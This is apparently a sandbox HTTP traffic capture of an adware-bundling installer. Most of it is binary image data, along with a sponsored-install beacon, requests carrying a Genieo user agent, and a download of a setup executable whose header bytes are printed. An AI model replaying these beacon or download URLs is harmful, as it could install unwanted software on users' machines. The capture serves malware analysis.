........v....@/...h\U...o....y0g.Kc...*.mW....Z.0LM!...A].v.....MD..[.
......f.L.#,...lr>...jq'.6.g.4..G..78..>.....l..M.....(....iYl.i
q%...I.4R>:..E.J..cE.b174....:...F....u...K,......^X..|..M..S..zs.6
..j..xB.P.7q..HO9.L..D.m.PO Y;...!...z......-..X..w.....i?..j.......C.
-..Gq.$z\...[..\l.........P..qs..1-..hU.H_.G.....u.Q.7....k....9J...].
Q.S.;..Q.Kk.a.M:;..x#..#..<..n8 .....).e.M.p....w...A.`.......O.qV.
.<..h.q{.jw.K#..8...x...Fs\.g.5....  .cy..,8...D7.u.2ZM.?x....c#.k2
}DZy.........I.P.M........]1p......Gu.\...Q..|lS~.z.M6..8..P...UnP\...
[email protected]|;q.'..|'..M.....v5#k.k.>t.Yu.T.p.Xn[.6O..a...~=0n..x.i^.....
.^9.....^/.X....I.,1.....G_.s4...........*g..iW<I.Muy1..V...p:{<<< skipped >>>

GET /cnnnext/dam/assets/140917150553-mobile-phone-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 53177

Cache-Control: max-age=2181

Expires: Fri, 15 May 2015 23:41:23 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..S...........................!1.."AQa.2q.#B...R...3br....$CS.L.....
...Ds...&5Ud...................................9......................
...!1AQa."q..2...#.....B..3R$4br.............?....>..........\.a.z.
.8.!./n...W{..T% ..(...i`x.....&.z.)/......'......U<a.P/>=w 2..3
~=...;z......m<.Km...0.......D.i.......!.<......i.>.ly....k.r
..Q.a.........R.I.LZ%..v.....Z.#..8..|#..L..z...j..d..S...~&ULY...<
.M......K.q[.X.i.v..v..R....N.Y...C..If....[l,7.$\..#...-.....S$*4i...
D!.J.R...{y.v/'.#.dU.....)..O..).....iR-{_..Nj...T .)R....T.c....%...l
./.<../.n.E..d..1:..cx.C`.8zl..N...dN....*......c.5B.A.JL~...q...I.
Z..W s.....q....).P.H.W_R.y....w....kK4.Z....5Y..0.V..C..H6......G...P
...A.U.;Y.T.k.Z.5.{..%d....pG[..A..%$....M..=...[[email protected]
.e..Cn).Hx..bW.......8...N.$*!fC.T.iJ^..8....}1...E5.=i.6];=N.Y|..>
/...:.~`....n9.....*.f..o.P3.Ek....}N....HSjK.....o.p...!..\.:.....4..
.)[email protected]....?Z.o.T.|%,Hq..zKC.....Bo......u....I...I....KOz...."....&. 
u...>...LFV.-.I?.".1[=.iu.H.....1..u.D..Ov.Pw..o..J.)mL..R.p.3.V.7.
...).:@[email protected].$V.p]n.9).%........'.......z..%.r...3...x=
..|..]........|.....M...nT(....T.......KY.mPP..1...)g"c.wrd...>.Ozr
.\x9..H.8..T..U._.z..-.....[..........|......b...4...)....n..L.....d.B
.....K.S7S......j..~9.*M..B=1'.....*Hs.a.....[.......P.......Ix)..<<< skipped >>>

GET /cnnnext/dam/assets/150508163610-bonhams-250-gto-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 26725

Cache-Control: max-age=3823

Expires: Sat, 16 May 2015 00:08:46 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.N.........................!..1A.Qa.."q...B.#2Rb....$3Cr....c....%4...
5STs.....................................?..........................!1
AQaq..."2.....#B..R...3b..$Cr.cs.............?..</J..........(.^...
C v........x#...zS...5.b.e.W....1.^...e.W....?.`.....^.4.F..j.xb..c...
...P...J.3.D.q.^.... ......}(.c....*.xg....*$#.......4G>U...D.S.[.!
..........TC&...(@ E..l".Q.....(..&. .t.."..l!zP..OJ.C..B......@... ..
...'........>....Q..?.....4.!....=(...-y...E...= =......xbc........
=(....y.~.._u.j.w..>..Y.~..ow...q.F}....OJ.G.....(...W...@.._J.t...
<[email protected]...{...=.P.}..V{..(..^{.. .. [email protected]#.)..J.v.-.
.pJ>...N:wP^.K.2.....1.1%.D[..V...V.........C.<[email protected]..";
.,.b_c....Dv.K.[....t!`~d a.K..X..v..|..SU...q....<.RBK..-.b5.r....
...u.6...l"C.<.^.[..i.{....-...a.EI..........!..L2....J...8.Y.zQ.w&
.....?...|.O.......} ............?.....J~#[email protected]:P.Dz...
.PE>U..h.B5l".Q...L/J.@..[...`B......"g.n.~.e.})T.....11.....L.....
..J..a.#J.Dv..!..U..q...B>T.m.4}[email protected]>[email protected]
.`y&....*Q6.J.6.y=.J.w.I..=.al..#B..^....&..J....3.mg..&.2..@.#?.b.0..
R_..zm^..(....^{..I....6....0m....c..... E[.:P..o>U..............#^
......RC...h.?..P..u..a.<.@a.*....#..1...a.G...Z.@..(.f ..=.Q.s...!
[email protected]. ..P.....R;Q.....:.?..V{.......y..v.%oX...:..V....j.A.<<< skipped >>>

GET /cnnnext/dam/assets/150514155202-shrek-tease-only-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 26656

Cache-Control: max-age=3184

Expires: Fri, 15 May 2015 23:58:07 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D..........................!1A..Qa."q..2..BR...#3b..$Cr....S....%t...
...............................3.......................!1..A."Q2q.a...
B....#...3.............?.....\.-..FM6RA...R....G.MUo..v.=X....#.L.1[i.
..g8..J..(v".y.y.z..hA.y.:...l..D.<=.Y;V....HW......,..1.... K.....
ZG.<...ieK%(..EX.\$..DG3\.w..5E...$..\.3.....B.0A.P ..Z.%.^.)Y.J7..
...r?.*.....Z.....eB.....V..kGM\. ....*:.;.R.7.<t...,..* t.......W.
.H....GR..]-...z.......y-........m.t.......m..r.....KM..V..F.....U.GR4
zg..m..'Z.=.u^....pvX.dyl[......M.c...]}......-.....'.......{..*......
...4..p... .D{.?j......wn...J...A.K.V..d..1...p ..z...k...yo]..p'Vf<
;W.......l.Y.......eJ.qOr.A.}}b.-.y..X.W...w.......@.=`.d."{.p.......Z
....w/rdB.....v....g,.j.C..*ud..;OC ..J.W.U.w.....3.o.~!t....;#x..Ql:.
......\.W...K....9n.Q.....Y.*p..*....3t.P@t.'.x..H....o./....W/6......
...:.d.....C.`AY....C....._....9.!c..O.._....i...&..H...:..'S...\M..d.
..dO.H...2}...L..C.].d.q..:\.{.."....>.W~. ..?.......m[.. ..e...U..
...........-...O.....pc.....E..Y.jB...r.../b...jH....iY.~....6....N...
$..>....N.'.j-. q . 1m.1'..n1,..$..I.v...O.jE.R.t...z..T...P...}.bC
`v...h|..t......!2c...}..I..zP..v.......!?J....d..'.&..:......R.......
../.|CF ...:%.!...yP...Do..0.Yc.2.z.....^q%(..O.Bx..........}.F.u"7...
......G.wY.-.....T<.R..V....z....OeU.....T.T...t..rbH..1...W.=.<<< skipped >>>

GET /cnnnext/dam/assets/131112192547-spin-bottle-serendipity-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37658

Cache-Control: max-age=4900

Expires: Sat, 16 May 2015 00:26:44 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.N..........................!..1A."Qa.q..#2...B....3Rbr.$C...%S.&4Dc..
...Vst..........................................................?..pNi
.p..1j.B...@.]!>.:b.g./..P'....J}@....9.s.. ..r.0.kK..} .6(.?...._.
.W...O;K......e.......`..F...)K...d.>..rJ........qw ..A[...8G....JH
.?S.q.....5DPq..C..F....e {...\.....!...:..K...=...~x.t.KR...\[email protected]..
..._....w.eJ.Z.Df.I....t...:...!..D...m.....J.? cvL...Yv.%.....R....IU
...~d`...O............,.~...w.L7........_....N'FW.p.m.ku_vB,n:..|C*...
yP....kS....}?...5.R...y..y.~`#....a.$...y..._.......C.0..?../...5...v
....A)...........iV.....RT...V...{cS...`J.&...G.....6.;..0.B.`z....Iu.
...\....S..l..r..lA..N.....U...4.ZZV....XX .R...q.5.,.$..o......(.....
.i.'d..a.7...m...v..yD....q...D.......u....R5......>!..R,M.....4..2
.lp..ii.C........w....U)D.....aX.k).d\.#...n..6;l=...6.. J.z....!.....
MB3....Sf.i.:.lE....m.... .n*.2...m-.."D....v'...8....D....k0Q.7...!6I
..w.|#W.2L.C...R[..L...{_..u. .N8.U....Lc.....r..qq{....~Y..l..~.S.1.#
.....n.WT...L.....}..R..n.|..... ,..N..=S.,2...,Z.n....).O.R"|b3S..-..
..v#....9f.I{3U..HT.T....p;K..2..o,7O..._..\C....s)..2WY...t7r.....{.@
egsP.M..b4..a..wX".......*.4.aV#....?..GR.........H... R.%A .u...-I..!
....D..._rP..q.l0.G$....6.....~]..D).wR.ZQrS.;.....p(..N(...{...[p.Skw
.....M.....O....!..(n.5.S.o.......2u#:g:.*..a..T.h..oZ..6$..{.....<<< skipped >>>

GET /cnnnext/dam/assets/150514124427-singing-gay-sailor-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 16606

Cache-Control: max-age=5566

Expires: Sat, 16 May 2015 00:37:51 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.Y...........................!1...AQ."aq..#2C......BRb....$'ertu.....%
&367DSTUc..5...8Vd.................................:..................
.....!1A..2Q."a...q.BR......#$br.%3...............?..=..Y....DD....D@F
^~G.{.j......(..>...("".p....N..t0.u.....-f..:v..;...;.=.....-o....
...:..N..U{.R.5#k.ka....d ..{..I'9.$%jc=G.*[email protected]
:.6..)J.5.x...1.<...m...R.'.Fo.U@...../....4i.0.......0xz.O.7O.....
../s.yc.....`...5[..E....>..~... ......G.. ..R..Iv.r..............m
.....?....z..p[......0>"/.....tw........Z. ,G]\.1....v...........a0
|....~w"s.......77.....7....>.ZGr.bY.....F..@/...s.......%[email protected]...
...3[.<.?.q..q.;@.........q..g......[..j.....wv^....c..z.p...^...q.
sNF{.../-..4...y`QS...T.o...V..[K....]Qh...n..4...V.q....\[email protected]
zHjA..J..<k.-..1Uh...G.)....t4...]c..^....N.h....~'..k:.wFOP..H..."
"......Z{.U.""..""...." 6...D]=...].E...U.U....R.Xh........Y.KW,.k..l.
.6..$./....&vE.....4U .....O.wa...eE4U..s.....L#s.qc........ .......OY
i.5....,.[.E..c...%4.........>W..-...6..H...r.G..E.......}..IO.b...
..j&.u./|....s9.7..\.Y...4ir.`[email protected].............?#...5s....J...
\"".... .c...cYC..E.Kl./..cR......... S_6.s..S..7.*..:..|U.j.;K...F..U
z.,p...A1...<3.B...NI=...Yu..,.d.=\2.`.........zm.D.#).Q.OM ".....Y
s.r.~0....U.V.> .pP:..62.D......3..8.t*..d.4..)f.VMS,e..Zr...Fx<<< skipped >>>

GET /cnnnext/dam/assets/150501153547-nyau-mozambique-vlad-sokhin-3-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 52507

Cache-Control: max-age=3723

Expires: Sat, 16 May 2015 00:07:09 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.E........................!..1."A.Qa.2.#Bq...$...3Rb..r.......&C4ST...
...............................1.......................!1..A"Q.2a..q..
..B....#R............?..8].......E<.d.~...=........q.Pm..9.?.....]D
e......5....3z..x$....M.-......41..x02.<|....]E...........:.4.. .".
.......i.K...;>,x....|....ZVx.Sfg.M.El1....:.....#.]_.Hk.pC_.....d.
8.SD1.!#....R>.29...W.k........5.....<.e..G.&m..]..o5.......jNV.
.  .".........8K...._.(......?j...W..j)C....._..tEq......::...._.].@~9
.......u5.J..!^:.`.Tb.:Pc|WSQ(..*....1.n..o.GQ4.?I............~.....P1
p...u.O.D}..9^(.$.E..b..0...P.....`~.MA.2.'\....&"........,...x.......
[email protected].>....q....G\.^..P/....:...k......u5..-...
&.....n.8.k....8.....I.7..-..=&.......3c.:M.....?....tu...|..I65.ta...
.m....j..3b..I>7..lo.H.?..j ....<t.b..G...[..::.@'..n.|_.G....-.
>..Eh...O."......:A....).. cW.I6?F_...H.?=......:I..0..x.&.....&..\
.:*.....l~<tu..M....0s.....h9....u........KS..S?Z...a.^........2..d
 $i$.#;G[cD.K4q.....t}b8t..l.9p.....<gc..cE)0.,q.....6&..v.....k.})
......L..D.K..i]...._O.y.m.3.'..K0I..v2E.....b.}..>FFc....de...4.a@
..Yn....Y.......<.Yg..Qoo.n.. .d....N.=;]O{.k......:.........4D....
.......3S..l.........?=7..I`.n.*..........7.O..4Ex..r$QK..,2Fh.*....q.
.u|..UH..-......f-Y... 2r.G[..?>z.$.^.E..<.$......g..C&....m<<< skipped >>>

GET /cnnnext/dam/assets/150430232235-04-gupta-cardiac-arrest-0430-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 27995

Cache-Control: max-age=4025

Expires: Sat, 16 May 2015 00:12:12 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..I........................!..1A..Qa"q...2..#B....$Rb...3..CSr...%4u.6
cs...................................6........................!1A.."Qa
.2q.........#3BC..R.............?..........oK..0...V.f..k..^....X.....
c.k,..aN..y.O.....*[..EY..`..RI...19....`.4..p{T.L...q`..YA..a.1.u..".
;.*....4{..[.d?...j....)..8.=..l]=.>!....t.....i...<..c..e;..'z.
...R.....d..B..sD..lh.X.........'_......Bp.V.a.(yxa.6.sd..$Z.J...w..6h
.8.....,m...O9.......oy'[email protected].:.Z=.......G. c)t....@PM?..HE. .....
H..psO...q........?.......J......8xc.@>.9de.l...nl..A.BH..l..gn.0..
....................W.....;.vf'.5,...Lw5...Y..db.;n......P..X.u...Umgq
s...jWG.YN6..v..x.T^-.#..!.,.P..F....K{Qm......Z.!.].7U..=....K~.Sd..\
..$...!...... ?.oG..y(.b..........h.......VR>..\..w.3..bAT.q.......
uC.E:......... ......'1......J>AH8..`Q1||Gn.(..V.<b.....A..L....
.......;T...f.........W........ ..b*_.....J.['.h..1.54_.E.Ct..A.bG.Cq.
....../...!)./p)[email protected]@.
.9.9.Q...).6Z...I...^..j.E..T....qd.H........... .$Ej.C>.../..(.:.n
Q!.U.|e....<3.A.....n...5.H=..~}.....A....{...{...o'..i !.w).....&g
t;.......o...gMf'[......n*..~3.-..M0.H.~%........uM6.X..,......7F....)
.U<.e>...W..>W./......Z......=...w:..e.y.F.....L....d. s.....
8...rEsi<..0.C5..s.,R.29.D%YYYX.$...<q...s.xoF..-?.-u^6.U...<<< skipped >>>

GET /cnnnext/dam/assets/150403102941-cambodia-sex-revisit-freedom-project-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 34229

Cache-Control: max-age=1289

Expires: Fri, 15 May 2015 23:26:37 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.K..........................!1.."AQ.2aq..#B...Rb...$3r.4C....Scs..%5..
D.....................................7........................!1.A."2
Qq3a#4....B..$....Rr..............?......h.}.UELk..j....'...^*7...]4..
.....G.\...yo..?...i....2..!H....V9..E..I....{$.w..'.....#Ib........-.
...[Q).\e......$.....%%C.........i.F.F..AL.......U.....Tvko.Fz...J....
.......Q......q.6.....m.y...Nb..!.....E.y...i.#[email protected])G.~..8'U....
.$~D.g. ..zZ..H......W5..P.B.u.?:...MI.].G(%..c.l....3.&....=...}.....
Z.......((...I..#..r.&~.T........U.MrK.%YX...e')?_/.,,.GB.x.$.y.\.4...
.bn.......!..'.$r.Br...i^...W6.....p........@*vS.B...f.ujm>j....M;.
.....z.p.z..^..i.#p9..Rr....)y...xI.........Z..G*.E..&jq.v.Ym6.G.}....
...A.........,.x.h.........@.$......'.e.k~..'....e..^J...>...N.qmr.
x...8K...d..Rk>r%.$3f..B;VKU}.....a.n.NFY.J>.....lz..../..Y...(J
..q@..[.!....r.A..............wv}.....z.:......%...OOv..-J.........^q.
.........mK...........B..[)m*.....9t.#.>..&D...JG.9....H.....7d.i.?
.R......Tv.. .....#.57..'?._..W..... [email protected].
...&?..^.7.z.....9....v.o.... T.M.!!m...#.i.f<..r..B.FZ.6m......:..
.j....V[..[....W.w..`...u>A..E'S..$..I.-..:...W2*.. ..D......8..5..
...[.t...bF{.P...K...Xul.t.......q7(:.BC....\T.J.VP..b.KRX>4!.z...W
..eD...........$}.<.A...2s..*,7...g.&..WWm...!2.<vGa\nW.><<< skipped >>>

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.03779669065679114 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:03:11 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:03:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: static01.nyt.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: Apache

nnCoection: close

Last-Modified: Wed, 23 Jan 2013 20:33:05 GMT

X-API-Version: 4

Accept-Ranges: bytes

Content-Length: 15086

Content-Type: image/x-icon

Cache-Control: private, max-age=71746

Expires: Sat, 16 May 2015 19:00:47 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive

............ .h...6...  .... .........00.... ..%..F...(....... ..... .
....@.................................................................
.............................................`...............@........
............................... ......................................
.........................................................`............
...............`............... ...........@..........................
................................. ...@................................
...........................@...@......................................
.....................P.......`...............................@........
...............p......................................................
[email protected]................
...@...@...................................@...............`...p......
.........`............................................................
............................... ......................................
.............................0...........`... ...............`........
......................................................................
........fe..e/..ta..1...m/..oj..ts..rt..le.............G.....?(... ...
@..... ...............................................................
......................................................................
......................................................................
......................................................................
...............................................................0..

<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: static01.nyt.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: Apache

nnCoection: close

Last-Modified: Wed, 23 Jan 2013 20:33:05 GMT

X-API-Version: 4

Accept-Ranges: bytes

Content-Length: 15086

Content-Type: image/x-icon

Cache-Control: private, max-age=71730

Expires: Sat, 16 May 2015 19:00:47 GMT

Date: Fri, 15 May 2015 23:05:17 GMT

Connection: keep-alive

............ .h...6...  .... .........00.... ..%..F...(....... ..... .
....@.................................................................
.............................................`...............@........
............................... ......................................
.........................................................`............
...............`............... ...........@..........................
................................. ...@................................
...........................@...@......................................
.....................P.......`...............................@........
...............p......................................................
[email protected]................
...@...@...................................@...............`...p......
.........`............................................................
............................... ......................................
.............................0...........`... ...............`........
......................................................................
........fe..e/..ta..1...m/..oj..ts..rt..le.............G.....?(... ...
@..... ...............................................................
......................................................................
......................................................................
......................................................................
...............................................................0..

<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 Ok

Server: nginx

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Expires: Fri, 15 May 2015 23:04:57 GMT

Last-Modified: Fri, 15 May 2015 23:04:57 GMT

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' hXXps://yastatic.net *.yandex.ru yandex.ru *.yandex.net hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.yandex.net yandex.st yastatic.net *.yastatic.net ws://portal-xiva.yandex.net wss://portal-xiva.yandex.net wss://push.yandex.ru; img-src data: 'self' hXXps://yastatic.net *.yandex.ru yandex.ru *.tns-counter.ru *.gemius.pl hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.tns-counter.ru hXXps://*.gemius.pl yandex.st *.yandex.net yastatic.net *.yastatic.net; report-uri hXXp://VVV.yandex.ru/log/csp?from=yaru.ru&showid=22869.31092.1431731096.67159&h=m20&yu=1613692281431731090;

P3P: policyref="/w3c/p3p.xml", CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"

X-Frame-Options: DENY

X-XRDS-Location: hXXp://openid.yandex.ru/server_xrds/

Content-Encoding: gzip
e89.............:]s........P...l.&.....j...e......X.k...].b$.4.C.;./..
[email protected].$..v........=.......O^....1.q.=..F.a.}D.....^...5..
..NB....Y:.....2I'.2"..}.2......8Jx;..H.q...........%&..r.!.2z...8...'
i<...#.. M.I..N.}...,.TD.;...w....6.........{.W;..c.$%....>;..3N
....3....hri0......qD..#..Jd........T h.&Dxq.B.D.0..W_...9..>.w....
[email protected]....._....4...^....aU~. ,...G....4.F......0%].G.?.
............F..._/%..O&Sw..O.].y..p.......W..........#..Q.5'......E..$
z.../q]'.rYHx..XB..*lG).A.I...w..$j.rH.!waP..1..LL}...J.R....v....?!}N
.Y.Jc<,.~H^......2...(JV...?J.(.pe.,..|...d.2.?....}......./..1..._
.....dI ..O. .H.i......F..:W..`.0.F...4.b ../.....#"c....A?...!..Y6...
..].....&B.............~.. n.D..v...........J&...:M?/...!.O...^1..A...
.......C6..<G...l..^...<..*C./..v.#dS.a3_..I.b.a].......W)......
sqN/...../.>#.r..m.....-..-..........O..._~.[|.....|H......p.$Jq...
.X........R....h{{1..:..kf..Y...<u.zC:..1'........O...gG..N.......D
.K...........G3..#`.E.......w.jv..........l:q...<....1.t.....f.&..)
,..Y..HNoh.......d..p.!....B.w..s.8.B.F.|.E.Y..I6S..(..Vg..jImX....z_@
.._..). .ZZ.UK.MY.........!Y..e..VMk{;.*-..V.....$.._..6.Ah ....BY....
..10.........Y.....^.~..C....&..2...h..9.Nw2...=7eC..h4<I.4RFve..c.
../[email protected].>.r..Mmf..YC.....h..!.B..,..i8.c?....Db.nA]c.......
.e.d.a.........~.(=g.m.k...eG.4.$...M.Pg..q....^..;.*[.......;..c'6:..
D.].oS...I..Fl3x..cki.]?.....4p{k.:..}.\.Y.%.L..4."l...8..0$..3_..l..Y
T8..ec......G.....|...2...B.6..a2.V.e.......~..6]..B.FR..X..S.R|{[<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 0-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 528e932a968fec7dcc37ac386f863bf3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TOR18aCLyL0hqQ-z8p5dqgj_qUYN7YuLh7qW-J91NDVUf0VBeBL-Sw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......

GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhe/+pr+g3vWZOnLHIj3xQ0w== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:09 GMT

Content-Type: application/ocsp-response

Content-Length: 1493

Connection: keep-alive

Set-Cookie: __cfduid=de0531b4faeb17d8965c623f1fbb80bc11431731169; expires=Sat, 14-May-16 23:06:09 GMT; path=/; domain=.globalsign.com; HttpOnly

Last-Modified: Fri, 15 May 2015 19:26:16 GMT

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: aca645f1c18ab9b58a34952579558f0b5d5ac26e

Expires: Sat, 16 May 2015 07:26:16 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1e727ddf9e980f93-FRA
0..........0..... .....0......0...0.......0?.....!...>., ......2015
0515192616Z0u0s0K0... ........)[email protected]...^./.....
2k...!{....7.fN....|P.....20150515192616Z....20150516072616Z0...*.H...
........,S.q.P....I........<._....o.;.B...,.. ..|-a=.ba..k.(..;...T
...63}..Z.ma...Q........4..<..{......o..uW&..I3*i......... ........
_.%.1wp#...R.q.vx.c.R..H.n........{*G.;.l*..#.H.L......T..R.*.....w...
......I.....;.JV [email protected]/.......0...0.
..0...........!.}.*./..(.....C.0...*.H........0Z1.0...U....BE1.0...U..
..GlobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20.
..150318093923Z..150618083923Z0..1.0...U....BE1.0...U....GlobalSign nv
-sa1C0A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder -
 21.0...U....201503181039000.."0...*.H.............0..........]W0..;Cq
..t....H.mQ...C.PN...0...Z.p`xT`...g...^c.`....&S..<.w.......o&..,.
..n=.{i`\....Fhn.....i%.b,.IS... .]...Vh...~._i.Y......sF%...I..V.I]Kn
.x.....h........)...5..F.6m0;....l..B..d-.ha...>T._.o.7...."..e....
~5a...=..9.h'F>.X...k.l....gCC'[email protected]..
.U...........0...U.%..0... .......0... .....0......0...U.......0?.....
!...>., ....0...U.#..0....J.Z.M1...^./.....2k0...*.H...............
..&..Y.7).!......9s..~.N..4..uz.t.K2Y..=. ... .........W..8......9t.D.
.......V.d)...s.. ..4.v~r{~..*..&..}............D../TE.t.&V.e.........
l..1........y...--=|~..z..3j1..\..<..~..6.[.Z}'[email protected]._...,r..T...W.
K.<.<m...;z...k.=F..5........|Z..g.!......p...!..<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

